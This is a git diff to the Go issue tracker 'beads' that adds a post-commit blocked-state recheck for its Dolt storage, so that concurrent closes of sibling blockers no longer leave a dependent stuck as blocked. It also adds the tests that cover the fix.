100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -533,6 +533,7 @@ go_test( "cli_fast_test.go", "close_embedded_test.go", "close_failure_report_test.go", + "close_fanin_proxied_integration_test.go", "close_gate_test.go", "close_last_touched_test.go", "close_proxied_integration_test.go", diff --git a/cmd/bd/close_fanin_proxied_integration_test.go b/cmd/bd/close_fanin_proxied_integration_test.go new file mode 100644 index 000000000..ad15ff1a7 --- /dev/null +++ b/cmd/bd/close_fanin_proxied_integration_test.go @@ -0,0 +1,84 @@ +//go:build cgo + +package main + +import ( + "bytes" + "encoding/json" + "fmt" + "os/exec" + "strings" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedServerCloseSiblingBlockersFanIn is gastownhall/beads#6716 end to +// end on the proxied CLI: the fan-in of a formula whose parallel workers +// close the two blockers of one step at the same time. Each round closes the +// blockers with two concurrent `bd close` processes and then requires the +// dependent in `bd ready`. Without the post-commit recheck on the uow path a +// round whose closes overlap leaves the dependent is_blocked=1 and missing +// from ready work. The interleaving is not pinned here (see +// TestProxiedBlockedRecheckAfterRacingUnblocks in internal/storage/uow for +// the deterministic race); this proves the settled CLI outcome. +func TestProxiedServerCloseSiblingBlockersFanIn(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "fan") + + const rounds = 6 + for round := 0; round < rounds; round++ { + a := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d blocker a", round)).ID + b := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d blocker b", round)).ID + c := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d fan-in", round)).ID + for _, blocker := range []string{a, b} { + if out, err := bdProxiedRun(t, bd, p.dir, "dep", "add", c, blocker); err != nil { + t.Fatalf("round %d: dep add %s %s: %v\n%s", round, c, blocker, err, out) + } + } + + var wg sync.WaitGroup + errs := make([]string, 2) + for i, id := range []string{a, b} { + wg.Add(1) + go func() { + defer wg.Done() + cmd := exec.Command(bd, "close", id) + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + var stderr bytes.Buffer + cmd.Stderr = &stderr + if err := cmd.Run(); err != nil { + errs[i] = fmt.Sprintf("close %s: %v\n%s", id, err, stderr.String()) + } + }() + } + wg.Wait() + if joined := strings.TrimSpace(strings.Join(errs, "")); joined != "" { + t.Fatalf("round %d: %s", round, joined) + } + + out, err := bdProxiedRun(t, bd, p.dir, "ready", "--json", "--limit", "0") + if err != nil { + t.Fatalf("round %d: bd ready: %v\n%s", round, err, out) + } + start := bytes.IndexByte(out, '[') + if start < 0 { + t.Fatalf("round %d: bd ready printed no JSON array: %s", round, out) + } + var ready []types.Issue + if err := json.Unmarshal(out[start:], &ready); err != nil { + t.Fatalf("round %d: parse bd ready: %v\n%s", round, err, out) + } + found := false + for _, issue := range ready { + found = found || issue.ID == c + } + if !found { + t.Fatalf("round %d: %s has both blockers closed but is missing from bd ready", round, c) + } + } +} diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 06f0b0048..8934919f9 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -8,6 +8,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "blocked_recheck_raw.go", "blockingannotator.go", "bootstrap.go", "bootstrapper.go", @@ -137,7 +138,9 @@ go_test( "blocked_consistency_test.go", "blocked_full_repair_test.go", "blocked_merge_test.go", + "blocked_recheck_phase_test.go", "blocked_recheck_publication_test.go", + "blocked_recheck_raw_test.go", "blocked_recompute_guard_test.go", "blocking_annotator_contract_test.go", "bootstrap_test.go", diff --git a/internal/storage/dolt/blocked_recheck_phase_test.go b/internal/storage/dolt/blocked_recheck_phase_test.go new file mode 100644 index 000000000..337073804 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_phase_test.go @@ -0,0 +1,70 @@ +package dolt + +import ( + "context" + "errors" + "slices" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" + mysql "github.com/go-sql-driver/mysql" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// scopeAndRecordDependent scopes both of tx's SQL transactions for the +// blocked recheck, as runDoltTransactionRecording does, and records one +// dependent on each, as a close on each plane would. +func scopeAndRecordDependent(t *testing.T, tx *doltTransaction) { + t.Helper() + t.Cleanup(issueops.ScopeBlockedRecheckTransaction(tx.regularTx)) + t.Cleanup(issueops.ScopeBlockedRecheckTransaction(tx.ignoredTx)) + issueops.NoteStatusChangeBlockedRecheck(tx.regularTx, "rp-a", string(types.StatusClosed), []string{"rp-c"}, nil) + issueops.NoteStatusChangeBlockedRecheck(tx.ignoredTx, "rp-wa", string(types.StatusClosed), nil, []string{"rp-wc"}) +} + +// TestFinishDoltTransactionRecordingKeepsRecheckWhenDoltCommitFails pins the +// RunInTransaction half of #6716 where the regular SQL commit lands and the +// Dolt commit after it fails. The rows are committed, the error is +// ErrCommitIndeterminate and the write is never replayed, so the recorded +// dependents must still reach the post-commit recheck. +func TestFinishDoltTransactionRecordingKeepsRecheckWhenDoltCommitFails(t *testing.T) { + store, conn, tx, regularMock, ignoredMock := newTransactionPhaseFixture(t) + scopeAndRecordDependent(t, tx) + tx.dirty.MarkDirty("issues") + regularMock.ExpectCommit() + regularMock.ExpectQuery("SELECT COUNT\\(\\*\\) FROM dolt_status s"). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + regularMock.ExpectExec("CALL DOLT_ADD\\(\\?\\)").WithArgs("issues"). + WillReturnError(errors.New("invalid connection")) + ignoredMock.ExpectRollback() + + pending, err := store.finishDoltTransactionRecording(context.Background(), conn, tx, "test: dolt commit fails") + if !errors.Is(err, ErrCommitIndeterminate) { + t.Fatalf("error = %v, want ErrCommitIndeterminate", err) + } + if !slices.Equal(pending.IssueIDs, []string{"rp-c"}) || !slices.Equal(pending.WispIDs, []string{"rp-wc"}) { + t.Fatalf("pending = %+v, want the dependents recorded on both transactions", pending) + } + requireTransactionPhaseMocks(t, regularMock, ignoredMock) +} + +// TestFinishDoltTransactionRecordingDropsRecheckWhenSQLCommitRefused is the +// other side: a regular SQL commit the server refused rolled back, so there +// is nothing committed to recheck. +func TestFinishDoltTransactionRecordingDropsRecheckWhenSQLCommitRefused(t *testing.T) { + store, conn, tx, regularMock, ignoredMock := newTransactionPhaseFixture(t) + scopeAndRecordDependent(t, tx) + regularMock.ExpectCommit().WillReturnError(&mysql.MySQLError{Number: 1213, Message: "serialization failure"}) + ignoredMock.ExpectRollback() + + pending, err := store.finishDoltTransactionRecording(context.Background(), conn, tx, "test: sql commit refused") + if err == nil || errors.Is(err, ErrCommitIndeterminate) { + t.Fatalf("error = %v, want a determinate commit failure", err) + } + if !pending.Empty() { + t.Fatalf("pending = %+v, want nothing after a refused SQL commit", pending) + } + requireTransactionPhaseMocks(t, regularMock, ignoredMock) +} diff --git a/internal/storage/dolt/blocked_recheck_raw.go b/internal/storage/dolt/blocked_recheck_raw.go new file mode 100644 index 000000000..cd9130ba9 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_raw.go @@ -0,0 +1,30 @@ +package dolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// settleBlockedRecheck runs the post-commit blocked-state recheck of what a +// committed write recorded (gastownhall/beads#6716) and logs a failure +// instead of returning it: the write is durable, and an error would read as +// "the write did not land" to every caller. +func (s *DoltStore) settleBlockedRecheck(ctx context.Context, pending issueops.BlockedRecheck) { + logBlockedRecheckFailure(ctx, pending, s.recheckBlockedAfterCommit(ctx, pending)) +} + +// commitSQLTxAndRecheck is commitSQLTx for a raw write transaction that was +// scoped with issueops.ScopeBlockedRecheckTransaction: once tx has committed +// it settles the dependents tx's unblocking writes recorded. The wisp writers +// and the legacy dependency removal run on raw transactions outside +// withWriteTx, so without this their writes would record into nothing and +// keep the #6716 race. +func (s *DoltStore) commitSQLTxAndRecheck(ctx context.Context, op string, tx *sql.Tx) error { + if err := s.commitSQLTx(ctx, op, tx); err != nil { + return err + } + s.settleBlockedRecheck(ctx, issueops.TakeBlockedRecheck(tx)) + return nil +} diff --git a/internal/storage/dolt/blocked_recheck_raw_test.go b/internal/storage/dolt/blocked_recheck_raw_test.go new file mode 100644 index 000000000..a7609d68f --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_raw_test.go @@ -0,0 +1,143 @@ +package dolt + +import ( + "context" + "database/sql" + "fmt" + "slices" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// seedBlockedDependent creates blockers a and b (wisps when wisp is set) and +// the permanent dependent c that both block. +func seedBlockedDependent(t *testing.T, ctx context.Context, store *DoltStore, a, b, c string, wisp bool) { + t.Helper() + for _, id := range []string{a, b} { + if wisp { + createWisp(t, ctx, store, id) + } else { + createPerm(t, ctx, store, id) + } + } + createPerm(t, ctx, store, c) + addDependency(t, ctx, store, c, a, types.DepBlocks) + addDependency(t, ctx, store, c, b, types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", c, true) +} + +// closeOnSeparatePool closes id and commits it on a pool of its own, with the +// ordinary in-transaction recompute. The store's own transaction may hold +// every connection its pool has, so the sibling writer cannot borrow one. +func closeOnSeparatePool(t *testing.T, ctx context.Context, store *DoltStore, id string) { + t.Helper() + db, err := sql.Open("mysql", store.connStr) + if err != nil { + t.Fatalf("open sibling pool: %v", err) + } + defer func() { _ = db.Close() }() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin sibling tx: %v", err) + } + if _, err := issueops.CloseIssueInTx(ctx, tx, id, "done", "sibling", ""); err != nil { + _ = tx.Rollback() + t.Fatalf("sibling close of %s: %v", id, err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit sibling close of %s: %v", id, err) + } +} + +func assertReady(t *testing.T, ctx context.Context, store *DoltStore, id string) { + t.Helper() + assertIsBlocked(t, ctx, store, "issues", id, false) + ready, err := store.GetReadyWork(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if !slices.ContainsFunc(ready, func(i *types.Issue) bool { return i.ID == id }) { + t.Fatalf("%s has no open blockers but is missing from ready work", id) + } +} + +// TestBlockedRecheck_RunInTransactionCommittingLast is gastownhall/beads#6716 +// on DoltStore.RunInTransaction, the storage.Transaction runner `bd batch`, +// `bd cook`, `bd mol squash`/`burn` and SDK callers (Gas City's native store +// closes and status updates) write through. The transaction closes one +// blocker while both are open, a sibling close of the other commits, and the +// transaction commits last: without a post-commit recheck the dependent stays +// blocked. +func TestBlockedRecheck_RunInTransactionCommittingLast(t *testing.T) { + cases := []struct { + name string + wisp bool + write func(ctx context.Context, tx storage.Transaction, id string) error + }{ + {"close", false, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.CloseIssue(ctx, id, "done", "tester", "") + }}, + {"update to closed", false, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.UpdateIssue(ctx, id, map[string]interface{}{"status": types.StatusClosed}, "tester") + }}, + {"wisp close", true, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.CloseIssue(ctx, id, "done", "tester", "") + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedBlockedDependent(t, ctx, store, "rt-a", "rt-b", "rt-c", tc.wisp) + + if err := store.RunInTransaction(ctx, "close rt-b", func(tx storage.Transaction) error { + if err := tc.write(ctx, tx, "rt-b"); err != nil { + return err + } + closeOnSeparatePool(t, ctx, store, "rt-a") + return nil + }); err != nil { + t.Fatalf("RunInTransaction: %v", err) + } + + assertReady(t, ctx, store, "rt-c") + }) + } +} + +// TestBlockedRecheck_ConcurrentWispCloses races the raw-transaction wisp +// close path (closeWisp) against itself. It cannot pin the interleaving the +// way the tests above do, so it only proves the settled outcome: whichever +// close commits last, the dependent ends up ready. +func TestBlockedRecheck_ConcurrentWispCloses(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + for round := 0; round < 5; round++ { + a, b, c := fmt.Sprintf("rw-%da", round), fmt.Sprintf("rw-%db", round), fmt.Sprintf("rw-%dc", round) + seedBlockedDependent(t, ctx, store, a, b, c, true) + var wg sync.WaitGroup + errs := make([]error, 2) + for i, id := range []string{a, b} { + wg.Add(1) + go func() { + defer wg.Done() + errs[i] = store.CloseIssue(ctx, id, "done", "tester", "") + }() + } + wg.Wait() + for _, err := range errs { + if err != nil { + t.Fatalf("round %d close: %v", round, err) + } + } + assertReady(t, ctx, store, c) + } +} diff --git a/internal/storage/dolt/dependencies.go b/internal/storage/dolt/dependencies.go index 8c5123c65..0cc2ef202 100644 --- a/internal/storage/dolt/dependencies.go +++ b/internal/storage/dolt/dependencies.go @@ -110,10 +110,12 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de // method's own history is made of. Uniform beats clever. clearVersionScope := s.scopeVersionedHistoryTransaction(tx) defer clearVersionScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent); err != nil { return err } - if err := s.commitSQLTx(ctx, "commit remove wisp dependency", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit remove wisp dependency", tx); err != nil { return err } return nil @@ -133,6 +135,8 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de // unless activation is bound to THIS transaction. clearVersionScope := s.scopeVersionedHistoryTransaction(tx) defer clearVersionScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() eventWritten, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent) if err != nil { @@ -142,6 +146,10 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de if err := s.commitSQLTx(ctx, "sql commit", tx); err != nil { return err } + // The removal is durable; its dependents are settled after this + // removal's own Dolt commit so the recheck's commit follows it. + pending := issueops.TakeBlockedRecheck(tx) + defer s.settleBlockedRecheck(ctx, pending) // GH#2455: Use explicit DOLT_ADD to avoid sweeping up stale config changes. // Stage events only when RemoveDependencyInTx actually recorded a // dependency_removed event (explicit verb + genuine edge removal). A diff --git a/internal/storage/dolt/journal_scope_completeness_test.go b/internal/storage/dolt/journal_scope_completeness_test.go index 491eae888..0e709acc5 100644 --- a/internal/storage/dolt/journal_scope_completeness_test.go +++ b/internal/storage/dolt/journal_scope_completeness_test.go @@ -8,7 +8,7 @@ import ( // scopeCalls are the ways a function binds journal activation to the concrete // transaction it just began: the store helper, or the issueops primitive it -// wraps (runDoltTransaction calls the latter directly). +// wraps (runDoltTransactionRecording calls the latter directly). var scopeCalls = map[string]bool{ "scopeEventsJournalTransaction": true, "ScopeEventsJournalTransaction": true, @@ -88,7 +88,7 @@ func TestEveryRawTxJournalScopeIsScopedOrExempt(t *testing.T) { for key, f := range doltFns { // In scope: a function that mints its own transaction AND hands it to a // journaling mutator IN ITS OWN BODY. A function given a tx by - // withWriteTx/runDoltTransaction inherits their scoping, and those two + // withWriteTx/runDoltTransactionRecording inherits their scoping, and those two // are checked here in their own right. // // Reachability is deliberately DIRECT rather than a call-graph fixpoint. diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index eab238b0d..581b2a16d 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -896,20 +896,19 @@ var doltTracer = otel.Tracer("github.com/steveyegge/beads/storage/dolt") // Instruments are registered against the global delegating provider at init time, // so they automatically forward to the real provider once telemetry.Init() runs. var doltMetrics struct { - retryCount metric.Int64Counter - lockWaitMs metric.Float64Histogram - circuitTrips metric.Int64Counter - circuitRejected metric.Int64Counter - serializationErrors metric.Int64Counter - writeRetries metric.Int64Counter - postTxCommitDropped metric.Int64Counter - blockedRecheckDropped metric.Int64Counter - connAcquireMs metric.Float64Histogram - poolWaitCount metric.Int64Counter - poolWaitMs metric.Float64Histogram - claimVerifyLost metric.Int64Counter - claimVerifyRecovered metric.Int64Counter - ignoredTxFreshPool metric.Int64Counter + retryCount metric.Int64Counter + lockWaitMs metric.Float64Histogram + circuitTrips metric.Int64Counter + circuitRejected metric.Int64Counter + serializationErrors metric.Int64Counter + writeRetries metric.Int64Counter + postTxCommitDropped metric.Int64Counter + connAcquireMs metric.Float64Histogram + poolWaitCount metric.Int64Counter + poolWaitMs metric.Float64Histogram + claimVerifyLost metric.Int64Counter + claimVerifyRecovered metric.Int64Counter + ignoredTxFreshPool metric.Int64Counter } func init() { @@ -942,10 +941,6 @@ func init() { metric.WithDescription("Post-tx dolt commits abandoned after retries; the data landed but no dolt commit was minted (change rides the next commit on the branch)"), metric.WithUnit("{commit}"), ) - doltMetrics.blockedRecheckDropped, _ = m.Int64Counter("bd.db.blocked_recheck_dropped", - metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), - metric.WithUnit("{recheck}"), - ) doltMetrics.connAcquireMs, _ = m.Float64Histogram("bd.db.conn_acquire_ms", metric.WithDescription("Time to acquire a pooled connection for a Dolt transaction"), metric.WithUnit("ms"), @@ -1366,8 +1361,7 @@ func logBlockedRecheckFailure(ctx context.Context, pending issueops.BlockedReche if err == nil { return } - doltMetrics.blockedRecheckDropped.Add(ctx, 1) - log.Printf("warning: %s", issueops.BlockedRecheckFailureMessage(pending, err)) + issueops.ReportBlockedRecheckFailure(ctx, pending, err) } // SetEventsJournalEnabled activates the journal for this store instance only. diff --git a/internal/storage/dolt/transaction.go b/internal/storage/dolt/transaction.go index eebc41a00..8bebf0b9f 100644 --- a/internal/storage/dolt/transaction.go +++ b/internal/storage/dolt/transaction.go @@ -156,6 +156,21 @@ func (t *doltTransaction) dirtyTableNames() []string { } func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn func(tx storage.Transaction) error) error { + pending, err := s.runDoltTransactionRecording(ctx, commitMsg, fn) + // Settled here, after the pinned connection and any borrowed ignored-table + // connection have gone back to the pool: the recheck needs one of its own. + // pending is non-empty only when the regular SQL commit landed or may have + // landed, so this also runs when the Dolt commit after it failed + // (ErrCommitIndeterminate): those rows are committed all the same. + s.settleBlockedRecheck(ctx, pending) + return err +} + +// runDoltTransactionRecording is runDoltTransaction's transaction. Once it has +// committed it hands back the dependents the callback's unblocking writes +// recorded on either of its SQL transactions, for the post-commit +// blocked-state recheck (gastownhall/beads#6716). +func (s *DoltStore) runDoltTransactionRecording(ctx context.Context, commitMsg string, fn func(tx storage.Transaction) error) (issueops.BlockedRecheck, error) { // Pin a single connection for the entire operation: SQL transaction, // config protection, and DOLT_COMMIT must all run on the same Dolt // session. Each pool connection has an independent working set in Dolt @@ -182,18 +197,18 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn } if err != nil { - return fmt.Errorf("failed to acquire connection: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to acquire connection: %w", err) } defer conn.Close() var currentBranch string if err := conn.QueryRowContext(ctx, "SELECT active_branch()").Scan(¤tBranch); err != nil { - return fmt.Errorf("failed to read active branch: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to read active branch: %w", err) } regularTx, err := conn.BeginTx(ctx, nil) if err != nil { - return fmt.Errorf("failed to begin regular tx: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to begin regular tx: %w", err) } // The journal counter and rows must commit in the SAME SQL transaction as @@ -220,7 +235,7 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn ignoredCleanup, ignoredTx, err = s.beginIgnoredTxOnBranch(ctx, currentBranch) if err != nil { _ = regularTx.Rollback() - return err + return issueops.BlockedRecheck{}, err } defer ignoredCleanup() } @@ -237,6 +252,15 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn // update IS the creation. clearVersionScope := issueops.ScopeVersionedHistoryTransaction(regularTx, s.versionedHistoryEnabled.Load()) defer clearVersionScope() + // Unblocking writes record their dependents on whichever transaction they + // ran in: the regular one, or the ignored one wisps use when the journal + // does not pin both planes together. + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(regularTx) + defer clearRecheckScope() + if !journalEnabled { + clearIgnoredRecheckScope := issueops.ScopeBlockedRecheckTransaction(ignoredTx) + defer clearIgnoredRecheckScope() + } tx := &doltTransaction{regularTx: regularTx, ignoredTx: ignoredTx, store: s, journalPinned: journalEnabled} @@ -255,10 +279,34 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn if !journalEnabled { _ = ignoredTx.Rollback() } - return err + return issueops.BlockedRecheck{}, err } - return s.finishDoltTransaction(ctx, conn, tx, commitMsg) + return s.finishDoltTransactionRecording(ctx, conn, tx, commitMsg) +} + +// finishDoltTransactionRecording is finishDoltTransaction that also hands back +// the dependents the transaction's unblocking writes recorded, on either of its +// SQL transactions, for the post-commit blocked-state recheck. +// +// They are handed back with the error when the commit is indeterminate +// (ErrCommitIndeterminate): the regular SQL commit may have landed, or did land +// and only the Dolt commit or the ignored-table commit after it failed. The +// rows are then committed without a caller being able to replay the write, so +// the recheck is the only thing that can settle their dependents; being a full +// recompute of committed state, it is harmless if the commit did not land. +// Any other failure means the regular SQL commit was refused and rolled back, +// and nothing is handed back. +func (s *DoltStore) finishDoltTransactionRecording(ctx context.Context, conn *sql.Conn, tx *doltTransaction, commitMsg string) (issueops.BlockedRecheck, error) { + err := s.finishDoltTransaction(ctx, conn, tx, commitMsg) + if err != nil && !errors.Is(err, ErrCommitIndeterminate) { + return issueops.BlockedRecheck{}, err + } + pending := issueops.TakeBlockedRecheck(tx.regularTx) + if !tx.journalPinned { + pending = pending.Merge(issueops.TakeBlockedRecheck(tx.ignoredTx)) + } + return pending, err } // finishDoltTransaction commits the regular SQL transaction, its associated diff --git a/internal/storage/dolt/version_scope_completeness_test.go b/internal/storage/dolt/version_scope_completeness_test.go index 985492533..89b3ab11c 100644 --- a/internal/storage/dolt/version_scope_completeness_test.go +++ b/internal/storage/dolt/version_scope_completeness_test.go @@ -8,7 +8,7 @@ import ( // versionScopeCalls are the ways a function binds versioned-history activation // to the concrete transaction it just began: the store helper, or the issueops -// primitive it wraps (runDoltTransaction calls the latter directly). +// primitive it wraps (runDoltTransactionRecording calls the latter directly). var versionScopeCalls = map[string]bool{ "scopeVersionedHistoryTransaction": true, "ScopeVersionedHistoryTransaction": true, @@ -98,7 +98,7 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { for key, f := range doltFns { // In scope: a function that mints its own transaction AND hands it to a // versioning mutator IN ITS OWN BODY. A function given a tx by - // withWriteTx/runDoltTransaction inherits their scoping, and those two + // withWriteTx/runDoltTransactionRecording inherits their scoping, and those two // are covered by TestTxMintingWrappersScopeVersionedHistory below. // Reachability is deliberately DIRECT, for the reasons the journal // guard documents at length. @@ -139,14 +139,15 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { // mutator themselves — the callback does, one frame down. // // They are also where the defect this guard exists for actually lived. -// runDoltTransaction is the entry point for bd create, batch create/import, -// bd graph apply, merge_slot and the CLI transact wrappers, so an unscoped -// runDoltTransaction leaves most of the issues plane unversioned while every +// runDoltTransaction (whose transaction is runDoltTransactionRecording) is the +// entry point for bd create, batch create/import, bd graph apply, merge_slot +// and the CLI transact wrappers, so an unscoped runDoltTransactionRecording +// leaves most of the issues plane unversioned while every // raw-tx site in the scan above still looks perfectly scoped. Deleting its // scope call does NOT fail the scan (verified by deleting it) — which is why // this second arm exists rather than being folded into the first. var txMintingWrappers = []string{ - "DoltStore.runDoltTransaction", + "DoltStore.runDoltTransactionRecording", "DoltStore.commitWriteTx", } diff --git a/internal/storage/dolt/wisps.go b/internal/storage/dolt/wisps.go index 36b6bee66..e8452a674 100644 --- a/internal/storage/dolt/wisps.go +++ b/internal/storage/dolt/wisps.go @@ -194,12 +194,14 @@ func (s *DoltStore) updateWisp(ctx context.Context, id string, updates map[strin clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.UpdateIssueInTx(ctx, tx, id, updates, actor); err != nil { return err } - return s.commitSQLTx(ctx, "commit update wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit update wisp", tx) } // updateWispChecked updates a wisp with the optional atomic preconditions of @@ -221,6 +223,8 @@ func (s *DoltStore) updateWispChecked(ctx context.Context, id string, updates ma clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if opts.ExpectedVersion != nil { if err := issueops.CheckVersionInTx(ctx, tx, id, *opts.ExpectedVersion); err != nil { @@ -234,7 +238,7 @@ func (s *DoltStore) updateWispChecked(ctx context.Context, id string, updates ma return err } - return s.commitSQLTx(ctx, "commit update wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit update wisp", tx) } // closeWisp closes a wisp in the wisps table. @@ -249,12 +253,14 @@ func (s *DoltStore) closeWisp(ctx context.Context, id string, reason string, act clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.CloseIssueInTx(ctx, tx, id, reason, actor, session); err != nil { return err } - return s.commitSQLTx(ctx, "commit close wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit close wisp", tx) } // closeWispChecked closes a wisp with the is_blocked guard, mirroring closeWisp @@ -282,13 +288,15 @@ func (s *DoltStore) closeWispChecked(ctx context.Context, id string, actor strin clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() res, err := issueops.CloseIssueCheckedInTx(ctx, tx, id, opts.Reason, actor, opts.Session, opts.Force, opts.ExpectedVersion) if err != nil { return storage.CloseIssueResult{}, err } - if err := s.commitSQLTx(ctx, "commit close wisp", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit close wisp", tx); err != nil { return storage.CloseIssueResult{}, err } return storage.CloseIssueResult{Unchanged: res.AlreadyClosed, OpenChildren: res.OpenChildren}, nil @@ -304,6 +312,8 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() affectedIssues, affectedWisps, aerr := issueops.AffectedByDeletionInTx(ctx, tx, nil, []string{id}) if aerr != nil { @@ -347,8 +357,9 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { if err := issueops.RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after wisp delete for %s: %w", id, err) } + issueops.NoteDeleteBlockedRecheck(tx, []string{id}, "", affectedIssues, affectedWisps) - return s.commitSQLTx(ctx, "commit delete wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit delete wisp", tx) } // deleteWispBatch permanently removes multiple wisps using one transaction per @@ -397,6 +408,8 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() affectedIssues, affectedWisps, aerr := issueops.AffectedByDeletionInTx(ctx, tx, nil, ids) if aerr != nil { @@ -448,8 +461,9 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e if err := issueops.RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return 0, fmt.Errorf("recompute is_blocked after batched wisp delete: %w", err) } + issueops.NoteDeleteBlockedRecheck(tx, ids, "", affectedIssues, affectedWisps) - if err := s.commitSQLTx(ctx, "commit batch wisp delete", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit batch wisp delete", tx); err != nil { return 0, err } diff --git a/internal/storage/domain/db/delete_repo_test.go b/internal/storage/domain/db/delete_repo_test.go index d81095731..d6857d38f 100644 --- a/internal/storage/domain/db/delete_repo_test.go +++ b/internal/storage/domain/db/delete_repo_test.go @@ -237,7 +237,7 @@ func (s *testSuite) issueAffectedByDeletionDependers() { } func (s *testSuite) issueRecomputeIsBlockedEmpty() { - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), nil, nil)) + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, nil, nil)) } func (s *testSuite) issueRecomputeIsBlockedFlips() { @@ -247,7 +247,7 @@ func (s *testSuite) issueRecomputeIsBlockedFlips() { newDep("bd-del-rib-depender", "bd-del-rib-blocker", types.DepBlocks), "tester", domain.DepInsertOpts{})) - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, []string{"bd-del-rib-depender"}, nil)) var blocked int s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), @@ -257,7 +257,7 @@ func (s *testSuite) issueRecomputeIsBlockedFlips() { _, err := s.Runner().ExecContext(s.Ctx(), 